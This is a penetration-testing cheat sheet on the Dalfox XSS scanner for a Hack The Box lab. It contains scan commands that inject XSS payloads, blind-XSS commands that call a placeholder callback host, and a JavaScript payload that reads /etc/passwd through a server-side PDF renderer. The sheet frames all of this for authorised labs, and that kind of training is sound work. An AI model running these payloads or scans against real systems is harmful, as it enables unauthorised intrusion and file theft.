daemon-sec-cheatsheet

dalfox.md (26878B)

---

 ---
 title: "Dalfox"
 description: "Dalfox XSS scanner usage for HTB and AEN: scan modes, pipelines, custom payloads, blind XSS and output handling."
 category: web
 tags: ["web", "xss"]
 tools: []
 difficulty: intermediate
 updated: "2026-08-28"
 source: "vault:Web/Dalfox - HTB and AEN Cheat Sheet.md"
 ---
 # Dalfox — HTB and AEN Cheat Sheet
 
 ## Summary
 
 [Dalfox](https://github.com/hahwul/dalfox) automates XSS parameter discovery, reflection analysis, context-aware payload selection, DOM/AST analysis, and proof-of-concept generation. In AEN Note 5 its strongest fit is **Step 7**, where an authenticated support-ticket submission stores input that an administrator later renders. Capture the real ticket request in Burp, give Dalfox that raw request, restrict the scan, and use an out-of-band callback to detect the delayed execution. Dalfox is **not** the validator for Step 8's server-side PDF local-file-read chain; that requires the staged manual renderer tests in the dedicated Step 8 sheet.
 
 > [!danger]+ Authorisation and Impact Boundary
 >
 > 1. Use these commands only in HTB, an intentionally vulnerable lab, or an explicitly authorised engagement.
 > 2. XSS scanning sends executable markup and can create persistent records. Start with one target, low concurrency, and a harmless proof.
 > 3. A blind callback proves code execution and outbound reachability. It does not require collecting cookies, page contents, credentials, or other victim data.
 > 4. Do not scan logout, delete, purchase, administration, or other state-changing endpoints unless the test plan specifically permits them.
 > 5. Remove stored test records and callback data when the exercise ends.
 
 > [!tip]+ Related Notes
 >
 > 1. AEN source: 5 - Web Application Enumeration#Step 7 — support.inlanefreight.local (Blind XSS → Session Hijack)
 > 2. AEN Step 7 explanation: Step 7 - Blind XSS Session Hijack Cheat Sheet
 > 3. General XSS workflow: Cross-Site Scripting (XSS) - HTB Cheat Sheet
 > 4. Blind-XSS operations: Blind XSS to Session Hijacking - HTB Cheat Sheet
 > 5. Step 8 renderer chain: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet
 
 ---
 
 ## 1. What Dalfox Does
 
 ### Pipeline in Plain Language
 
 | Stage | Dalfox action | What the operator learns |
 |---|---|---|
 | Input parsing | Reads a URL, URL list, pipe, raw HTTP request, or HAR | Exactly which requests will be tested |
 | Discovery | Extracts query/body/header/cookie inputs | Where controlled data can enter |
 | Parameter mining | Looks for additional likely parameters | Inputs not obvious in the visible form |
 | Probe | Inserts markers and special characters | Which values reflect and what survives |
 | Context analysis | Identifies HTML, attribute, script, or DOM context | Which payload family fits the parser |
 | Verification | Tests execution signals and analyses JavaScript/DOM | Whether the result is more than inert reflection |
 | Reporting | Produces PoCs and structured output | Reproducible evidence for manual confirmation |
 
 > [!important]+ Scanner Result Is the Start of Verification
 >
 > A reflected marker is not automatically XSS. Reproduce the smallest reported case in Burp or a browser, confirm where the value lands, and distinguish HTML injection, JavaScript execution, and actual impact.
 
 ### Finding Labels
 
 | Label | Meaning | Operator response |
 |---|---|---|
 | `V` | Vulnerable: the returned DOM parses with the payload in an executable position | Reproduce in a real browser and record the exact context |
 | `A` | AST analysis found a JavaScript source-to-sink path | Inspect and exercise the client-side data flow manually |
 | `R` | Reflected value | Determine whether encoding/context prevents execution |
 | `I` | Informational observation | Use it to guide testing; do not report it as XSS alone |
 
 ---
 
 ## 2. Install and Confirm the CLI
 
 This sheet targets the **Dalfox v3** command layout. Older v2 tutorials use commands such as `dalfox url`, `dalfox file`, and `dalfox pipe`; v3 puts these inputs under `dalfox scan`.
 
 ### macOS
 
 ```bash
 brew install dalfox
 dalfox --version
 dalfox scan --help
 ```
 
 Expected result: the version command prints the installed build, and the scan help lists URL/file/pipe/raw-HTTP/HAR inputs. Version text varies by release.
 
 ### Cargo Alternative
 
 ```bash
 cargo install dalfox
 dalfox --version
 ```
 
 ### Quick Command Map
 
 ```bash
 dalfox --help
 dalfox scan --help
 dalfox payload --help
 dalfox payload blind
 ```
 
 | Command | Purpose |
 |---|---|
 | `dalfox scan ...` | Scan one or more HTTP requests for XSS |
 | `dalfox payload ...` | Print payload families without scanning a target |
 | `dalfox payload blind` | Show blind-XSS payload skeletons; `{}` represents the callback location |
 | `dalfox server ...` | Run Dalfox as a service for integrations |
 | `dalfox mcp ...` | Expose supported functionality through MCP |
 
 ---
 
 ## 3. Choose the Right Input Shape
 
 ### Decision Table
 
 | Starting material | Use | Why |
 |---|---|---|
 | One public GET URL | `--input-type url` | Fastest path for a simple query parameter |
 | List of URLs | `dalfox scan urls.txt` | Batch mode with automatic file detection |
 | Pipeline output | `... \| dalfox scan` | Consumes URLs generated by another tool |
 | Authenticated POST from Burp | `--input-type raw-http` | Preserves cookies, CSRF token, method, body, and headers |
 | Browser session/export | HAR input | Retains multiple captured browser requests |
 | Blind stored form | Raw HTTP plus `--blind-oob` or `-b` | Injection and observation happen at different times |
 
 ### Simple GET Discovery
 
 First inspect how Dalfox interprets the target without running the full payload scan:
 
 ```bash
 dalfox scan --input-type url 'http://lab.local/search?q=aen-marker' --dry-run
 ```
 
 Then scan the known query parameter conservatively:
 
 ```bash
 dalfox scan --input-type url 'http://lab.local/search?q=aen-marker' \
   -p q:query \
   --workers 2 \
   -r 2 \
   --only-poc v \
   --poc-type http-request
 ```
 
 Expected result: Dalfox tests `q`, reports reflection/context information, and prints a proof only if it reaches the selected verified class. No finding is also a valid result; inspect whether authentication, context, or client-side rendering was missed.
 
 ### Direct Form POST
 
 ```bash
 dalfox scan --input-type url 'http://lab.local/comment' \
   -X POST \
   -H 'Content-Type: application/x-www-form-urlencoded' \
   -d 'message=aen-marker' \
   -p message:body \
   --workers 1 \
   -r 1
 ```
 
 | Fragment | Meaning |
 |---|---|
 | `-X POST` | Uses the same HTTP method as the form |
 | `-d ...` | Supplies the form-encoded body |
 | `message:body` | Restricts injection to the body field named `message` |
 | `--workers 1` | Sends one worker's requests at a time |
 | `-r 1` | Caps the request rate at one per second |
 
 > [!warning]+ Do Not Guess Form Field Names
 >
 > The AEN page label is **Message**, but the underlying POST name is not shown in Note 5. Inspect the captured request. If it is `content=...`, use `content:body`; if it is `msg=...`, use `msg:body`. The visible label and HTTP name do not have to match.
 
 ---
 
 ## 4. Raw HTTP from Burp
 
 Raw HTTP is the most reliable option for authenticated HTB forms.
 
 ### Capture Procedure
 
 1. Submit one normal, harmless ticket in the browser while Burp Proxy is recording.
 2. Find the corresponding POST request in **HTTP history**.
 3. Confirm it contains the expected host, path, cookie, content type, CSRF value, and form body.
 4. Save the **request message only** as `support-ticket.txt` in a clean lab directory.
 5. Replace real secrets in study notes, but keep the live lab file complete while testing.
 6. Run the dry check below before active scanning.
 
 Illustrative structure—the real request is authoritative:
 
 ```http
 POST /ticket.php HTTP/1.1
 Host: support.inlanefreight.local
 Cookie: session=REDACTED_LAB_SESSION
 Content-Type: application/x-www-form-urlencoded
 Connection: close
 
 subject=aen-dalfox&ACTUAL_MESSAGE_PARAMETER=normal-test-message
 ```
 
 ```bash
 dalfox scan --input-type raw-http support-ticket.txt --dry-run
 ```
 
 Expected result: Dalfox recognises one POST request and its body parameters. `--dry-run` validates the planned input; it does not prove XSS.
 
 ### Restrict to One Known Parameter
 
 After reading the raw body, optionally narrow the scan:
 
 ```bash
 dalfox scan --input-type raw-http support-ticket.txt \
   -p ACTUAL_MESSAGE_PARAMETER:body \
   --workers 1 \
   -r 1
 ```
 
 If the name is still uncertain, omit `-p` and allow discovery, then use the output to choose the real parameter for the next run.
 
 ### Through Burp for Visibility
 
 ```bash
 dalfox scan --input-type raw-http support-ticket.txt \
   --proxy http://127.0.0.1:8080 \
   --workers 1 \
   -r 1
 ```
 
 This routes Dalfox traffic through Burp so each generated request can be inspected. Ensure Burp's listener is on `127.0.0.1:8080` and avoid intercepting every request unless you intend to step through them manually.
 
 > [!failure]+ Raw Request Fails but Browser Works
 >
 > 1. Refresh expired cookies and CSRF tokens.
 > 2. Verify the `Host` header resolves to the HTB target.
 > 3. Preserve the original body encoding: form, JSON, or multipart.
 > 4. Check whether the application requires a preceding request or one-time token.
 > 5. Compare Dalfox traffic with a working browser request in Burp before changing payload flags.
 
 ---
 
 ## 5. AEN Step 7 — Blind Stored XSS
 
 ### Why Normal Scanning Is Not Enough
 
 The vulnerable support ticket is rendered later by an administrator or automated agent. The submission response cannot show the privileged DOM, so immediate reflection analysis may report little or nothing. The useful signal is a unique outbound callback created when the stored record is viewed.
 
 <figure class="flow plate corners">
 <figcaption class="flow__cap"><span class="flow__kind">Blind stored XSS chain</span><span class="flow__dir">LR</span></figcaption>
 <div class="flow__body">
 <div class="flow__diagram" data-dir="lr">
 <div class="flow-rank"><div class="flow-node is-entry">Burp captures normal ticket POST</div></div>
 <div class="flow-edge"></div>
 <div class="flow-rank"><div class="flow-node">Dalfox injects blind canary</div></div>
 <div class="flow-edge"></div>
 <div class="flow-rank"><div class="flow-node">Support app stores ticket</div></div>
 <div class="flow-edge"></div>
 <div class="flow-rank"><div class="flow-node">Admin agent opens ticket later</div></div>
 <div class="flow-edge"></div>
 <div class="flow-rank"><div class="flow-node">Payload requests unique OOB address</div></div>
 <div class="flow-edge"></div>
 <div class="flow-rank"><div class="flow-node is-goal">Callback proves execution and reachability</div></div>
 </div>
 </div>
 </figure>
 
 ### Option A — Dalfox-Managed OOB Check
 
 ```bash
 dalfox scan --input-type raw-http support-ticket.txt \
   --blind-oob \
   --blind-oob-wait 120 \
   --workers 1 \
   -r 1 \
   -f json \
   -o support-dalfox.json \
   --include-request
 ```
 
 Line-by-line:
 
 1. `--input-type raw-http` replays the authenticated form shape captured in Burp.
 2. `--blind-oob` creates out-of-band payloads and monitors the default OOB service.
 3. `--blind-oob-wait 120` keeps polling for two minutes after injection.
 4. One worker and one request per second limit duplicate stored tickets and load.
 5. JSON output preserves machine-readable evidence; `--include-request` records the triggering request.
 
 Expected result after the support agent views the ticket: an OOB interaction correlated to a Dalfox payload. If the agent does not view the record within 120 seconds, the scan may end without a reported interaction even though the ticket remains stored.
 
 > [!warning]+ Delayed Review Can Outlive the Scan
 >
 > The `--blind-oob-wait` value is only the post-scan polling window. A ticket opened ten minutes later needs a persistent collector whose logs remain available; increasing the wait indefinitely is not a substitute for planning the asynchronous workflow.
 
 ### Option B — Persistent Callback You Control
 
 ```bash
 dalfox scan --input-type raw-http support-ticket.txt \
   -b 'https://UNIQUE-ID.YOUR-AUTHORISED-CALLBACK.example' \
   --workers 1 \
   -r 1 \
   -f json \
   -o support-blind.json \
   --include-request
 ```
 
 Use an Interactsh, Burp Collaborator, or self-hosted lab endpoint that remains observable after Dalfox exits. Give every run a unique subdomain/path so a late callback can be tied to one field and timestamp.
 
 ### Why `--sxss` Is Not the First AEN Choice
 
 Dalfox's stored-XSS mode can submit to one endpoint and revisit a retrieval page:
 
 ```bash
 dalfox scan --input-type url 'https://lab.local/post-comment' \
   --sxss \
   --sxss-url 'https://lab.local/comments'
 ```
 
 This works only when Dalfox can access the page that renders the stored value. In AEN Step 7 the important renderer is the admin ticket view, which is unavailable before session compromise. Therefore:
 
 1. Use blind OOB detection first.
 2. Treat the callback as the XSS proof.
 3. Keep AEN's later session-impact demonstration manual and separate.
 4. Do not call a missing `--sxss` result evidence that the ticket is safe.
 
 ### AEN Evidence Ladder
 
 | Observation | What it proves | What it does not prove |
 |---|---|---|
 | Ticket submission succeeds | Input reached storage workflow | The admin page rendered it |
 | Dalfox reports reflection only | Value appeared in an immediate response | JavaScript execution in admin context |
 | Unique HTTP/DNS callback | Stored payload was processed and could reach OOB service | Cookie access or admin identity by itself |
 | Callback user agent/source matches support agent | Stronger execution-context correlation | Session theft or account takeover |
 | Manual minimal admin action after authorised replay | Session impact | Password compromise or persistence |
 
 ### Safe First Proof Versus AEN Escalation
 
 Dalfox should first produce only an OOB execution canary. AEN's later `document.cookie` collection is a separate impact step documented in Step 7 - Blind XSS Session Hijack Cheat Sheet. Do not make sensitive collection the scanner's default: `HttpOnly` may correctly prevent reading the cookie, and XSS is still real even when no cookie is exposed.
 
 ---
 
 ## 6. AEN Step 8 — Dalfox Boundary
 
 Step 8 injects HTML/JavaScript into a **server-side PDF renderer** and uses that renderer's local privileges to request `file:///etc/passwd`. This differs from ordinary reflected or stored browser XSS.
 
 | Question | Step 7 support ticket | Step 8 tracking PDF |
 |---|---|---|
 | Who parses the input? | Admin/support browser | Server-side HTML-to-PDF worker |
 | Where is output observed? | OOB callback and admin page | Generated PDF |
 | Useful Dalfox mode | Raw HTTP plus blind OOB | At most input/reflection discovery |
 | Reliable proof | Unique callback | Visible staged renderer output |
 | Can Dalfox prove local file read? | Not applicable | No; inspect the generated PDF manually |
 
 > [!important]+ Correct Tool Choice
 >
 > Dalfox may help locate a reflected tracking parameter, but it does not model the PDF generation/retrieval workflow or validate `file://` content inside the generated artifact. Follow Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet: visible text/HTML first, harmless JavaScript second, then the authorised local-file request. Do not interpret “Dalfox found no XSS” as evidence that the renderer chain is safe.
 
 The AEN payload:
 
 ```html
 <script>
 x = new XMLHttpRequest;
 x.onload = function () {
   document.write(this.responseText)
 };
 x.open("GET", "file:///etc/passwd");
 x.send();
 </script>
 ```
 
 belongs in the tracking form field, not in Dalfox or a terminal. It creates a request **inside the PDF worker**, waits for the response, and writes that response into the rendered document. The important security assumption is the renderer's ability to access the `file://` scheme; a normal browser commonly blocks this cross-origin access.
 
 ---
 
 ## 7. AEN Note 5 Applicability Matrix
 
 | AEN section | Main vulnerability class | Dalfox fit | Correct use or handoff |
 |---|---|---|---|
 | Initial vhost/screenshot triage | Asset discovery | Low | Use EyeWitness/gowitness; give Dalfox selected HTTP inputs later |
 | Shop object access | IDOR | None | Compare object IDs and authorisation responses manually |
 | Development upload | Verb tampering/file upload | None | Test methods, content controls, storage, and execution separately |
 | Helpdesk | LFI | None | Use controlled path traversal/file-read tests |
 | Status application | SQL injection | None | Use Burp/manual SQLi and sqlmap when justified |
 | **Support Step 7** | **Blind stored XSS** | **High** | Raw authenticated POST plus OOB callback |
 | **Tracking Step 8** | **PDF HTML injection → SSRF/file read** | **Limited** | Discovery only; validate generated PDF manually |
 | VPN portal | Product/version/dead end | None | Fingerprint and move on when no supported path exists |
 | External application | XXE | None | Use XML parser/entity testing |
 | GitLab | Misconfiguration | None | Enumerate application configuration and access controls |
 | Monitoring | Command injection | None | Use one-change shell-metacharacter probes and manual verification |
 
 This matrix prevents a common mistake: choosing a scanner first and forcing every application into its vulnerability model. In Note 5, Dalfox is a specialist for the support XSS, not the general web-enumeration engine.
 
 ---
 
 ## 8. Parameters and Scope Controls
 
 ### Parameter Locations
 
 ```bash
 -p q:query
 -p message:body
 -p profile:json
 -p session:cookie
 -p X-Forwarded-For:header
 ```
 
 Supported locations include query strings, bodies, JSON, multipart fields, cookies, and headers. Use the location suffix when the same name could appear in more than one place.
 
 ### Restrict Noise
 
 ```bash
 dalfox scan urls.txt \
   --include-url 'support\.inlanefreight\.local' \
   --exclude-url '/logout|/delete|/admin/action' \
   --ignore-param 'csrf,submit' \
   --workers 2 \
   --max-concurrent-targets 1 \
   -r 2 \
   --delay 500
 ```
 
 | Flag | Effect |
 |---|---|
 | `--include-url` | Keeps only matching target URLs |
 | `--exclude-url` | Removes dangerous or irrelevant paths |
 | `--ignore-param` | Does not inject into listed parameters |
 | `--workers` | Limits concurrent workers within a target |
 | `--max-concurrent-targets` | Limits simultaneous targets |
 | `-r` | Requests per second ceiling |
 | `--delay` | Adds time between requests |
 
 ### Discovery Controls
 
 | Flag | Use when |
 |---|---|
 | `--dry-run` | Confirm input interpretation before scanning |
 | `--only-discovery` | Map parameters/reflections without the normal exploitation phase |
 | `--skip-discovery` | Parameters are already known and you want direct testing |
 | `--skip-mining` | Avoid additional parameter guessing |
 | `--deep-scan` | A normal authorised scan missed a complex context; expect more requests |
 | `--hpp` | Testing HTTP parameter pollution is explicitly in scope |
 
 ---
 
 ## 9. Payload Strategy and PayloadsAllTheThings
 
 ### Let Context Drive Payload Choice
 
 Dalfox's generated payloads account for the observed parsing context and encodings. Useful controls include:
 
 ```bash
 dalfox scan 'http://lab.local/search?q=aen-marker' \
   -p q:query \
   -e url,html
 ```
 
 Available encoders include `none`, `url`, repeated URL encoding, `html`, `htmlpad`, `base64`, `unicode`, and zero-width-space variants. More encoders create more traffic; use only those justified by the observed transform.
 
 ### Local PATT Quick List
 
 The local repository contains:
 
 ```text
 /Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt
 ```
 
 It currently contains 38 quick payload lines and is largely designed around visible `alert()`/`prompt()` proofs. Review it before use:
 
 ```bash
 sed -n '1,80p' '/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt'
 ```
 
 Use it only on an interactive lab page where pop-ups and event-triggered payloads are acceptable:
 
 ```bash
 dalfox scan 'http://lab.local/search?q=aen-marker' \
   -p q:query \
   --custom-payload '/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt' \
   --workers 1 \
   -r 1
 ```
 
 > [!warning]+ Why This Is Wrong for the AEN Ticket by Default
 >
 > A pop-up list creates many stored tickets, may interrupt the support agent, and does not provide reliable delayed correlation. For Step 7 use Dalfox's blind callback mode with one unique OOB identifier. Use PATT to understand candidate primitives, not as an unreviewed firehose.
 
 ### Built-In Remote Collections
 
 ```bash
 dalfox scan 'http://lab.local/search?q=aen-marker' \
   --remote-payloads portswigger,payloadbox
 ```
 
 This fetches supported remote sets; it is not a PATT integration. Record the source/version used so the test is reproducible, and apply the same scope/rate controls.
 
 ### Replace Rather Than Supplement
 
 ```bash
 dalfox scan 'http://lab.local/search?q=aen-marker' \
   --custom-payload reviewed-lab-payloads.txt \
   --only-custom-payload
 ```
 
 Without `--only-custom-payload`, custom lines supplement Dalfox's generated payloads. With it, only the reviewed file is used. This is useful when an engagement permits a narrowly approved payload set.
 
 ---
 
 ## 10. Output, Evidence, and Exit Codes
 
 ### Human-Readable Markdown
 
 ```bash
 dalfox scan --input-type raw-http request.txt \
   -f markdown \
   -o dalfox-findings.md \
   --include-request \
   --include-response \
   --poc-type http-request
 ```
 
 ### JSON for Later Review
 
 ```bash
 dalfox scan --input-type raw-http request.txt \
   -f json \
   -o dalfox-findings.json \
   --include-request
 ```
 
 Supported formats include plain text, JSON, JSONL, Markdown, SARIF, and TOML. Include response bodies only when needed because they may contain sessions, personal data, or large amounts of content.
 
 ### Exit-Code Meaning
 
 | Exit code | Meaning |
 |---|---|
 | `0` | Scan completed with no findings |
 | `1` | Findings were produced |
 | `2` | Dalfox encountered an error |
 
 An exit code of `1` is not a shell failure in the ordinary sense; it lets CI distinguish “finding present” from “no finding.” Always inspect the report before deciding severity.
 
 ### Evidence Checklist
 
 1. Dalfox version and exact command.
 2. Sanitised raw request shape and parameter location.
 3. Scope/rate settings.
 4. Finding label and generated proof.
 5. Manual reproduction in the correct browser/rendering context.
 6. For blind XSS: unique callback ID, protocol, timestamp, source, and user agent.
 7. A clear boundary between execution proof and impact proof.
 8. Cleanup of stored records, reports, sessions, and callback data.
 
 ---
 
 ## 11. Troubleshooting
 
 | Symptom | Likely cause | Next check |
 |---|---|---|
 | `dalfox: command not found` | Tool not installed or not on `PATH` | Install, then run `dalfox --version` |
 | Old tutorial command fails | v2 `url/file/pipe` syntax copied into v3 | Use `dalfox scan` and select/auto-detect input type |
 | Browser works, raw request gets `401/403` | Expired session/CSRF or missing header | Recapture a fresh working request in Burp |
 | Many parameters/noise | Discovery too broad | Add `-p`, `--ignore-param`, `--skip-mining`, and URL scope |
 | Reflection reported, browser does nothing | Value is encoded or lands in inert context | Inspect raw response and parsed DOM; reproduce the reported PoC |
 | No blind callback | Not viewed, syntax mismatch, CSP, egress block, or polling ended | Correlate ticket storage, use a persistent unique callback, then wait for the authorised viewer |
 | `--sxss` finds nothing in AEN | Retrieval URL is admin-only | Use blind OOB detection instead |
 | Step 8 scan is negative | PDF worker is outside Dalfox's normal verification model | Run the staged PDF-renderer procedure manually |
 | Scan overwhelms the lab | Defaults too concurrent for this workflow | Stop, reduce workers/targets/rate, and remove duplicate stored records |
 
 ---
 
 ## 12. Fast Runbooks
 
 ### Reflected GET XSS
 
 1. Start with a marker and inspect the response/DOM.
 2. Run `--dry-run`.
 3. Restrict to the known query parameter.
 4. Scan at a low rate.
 5. Reproduce only the smallest verified PoC.
 
 ```bash
 dalfox scan 'http://lab.local/search?q=aen-marker' \
   -p q:query \
   --workers 2 \
   -r 2 \
   --only-poc v \
   --poc-type http-request
 ```
 
 ### Authenticated Form
 
 1. Submit a normal form through Burp.
 2. Save the working request as raw HTTP.
 3. Confirm cookies, CSRF token, content type, and body.
 4. Dry-run, then restrict the actual input name.
 5. Proxy the scan through Burp if you need request-by-request visibility.
 
 ```bash
 dalfox scan --input-type raw-http request.txt \
   -p ACTUAL_PARAMETER:body \
   --proxy http://127.0.0.1:8080 \
   --workers 1 \
   -r 1
 ```
 
 ### AEN Step 7 Blind Ticket
 
 1. Capture one normal ticket POST.
 2. Keep the session/CSRF state fresh.
 3. Choose a unique, authorised OOB callback.
 4. Run one worker at one request per second.
 5. Keep the collector observable long enough for delayed admin review.
 6. Record the callback as execution proof.
 7. Follow the Step 7 sheet for separately authorised impact validation and cleanup.
 
 ```bash
 dalfox scan --input-type raw-http support-ticket.txt \
   -b 'https://UNIQUE-ID.YOUR-AUTHORISED-CALLBACK.example' \
   --workers 1 \
   -r 1 \
   -f json \
   -o support-blind.json \
   --include-request
 ```
 
 ---
 
 ## Lessons Learned
 
 1. Raw HTTP avoids inventing parameter names and preserves authenticated request state.
 2. Blind stored XSS is asynchronous; callback lifetime matters as much as payload syntax.
 3. `--sxss` needs an accessible retrieval page, which AEN's pre-compromise admin workflow does not provide.
 4. PATT expands payload knowledge, but Dalfox's context analysis should decide which syntax is worth testing.
 5. A negative Dalfox result does not cover server-side PDF rendering, SQLi, IDOR, LFI, XXE, upload flaws, or command injection.
 6. Reflection, execution, data access, and session impact are separate claims requiring separate evidence.
 
 ---
 
 ## References
 
 1. [Dalfox — Official GitHub Repository](https://github.com/hahwul/dalfox)
 2. [Dalfox — Installation](https://dalfox.hahwul.com/getting-started/installation/)
 3. [Dalfox — CLI Reference](https://dalfox.hahwul.com/reference/cli/)
 4. [Dalfox — Scanning Modes](https://dalfox.hahwul.com/guide/scanning-modes/)
 5. [Dalfox — Stored XSS](https://dalfox.hahwul.com/guide/stored-xss/)
 6. [Dalfox — Parameters](https://dalfox.hahwul.com/guide/parameters/)
 7. [Dalfox — Payloads](https://dalfox.hahwul.com/guide/payloads/)
 8. [Dalfox — Output](https://dalfox.hahwul.com/guide/output/)
 9. [PayloadsAllTheThings — XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
 10. 5 - Web Application Enumeration#Step 7 — support.inlanefreight.local (Blind XSS → Session Hijack)
 11. Step 7 - Blind XSS Session Hijack Cheat Sheet
 12. Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet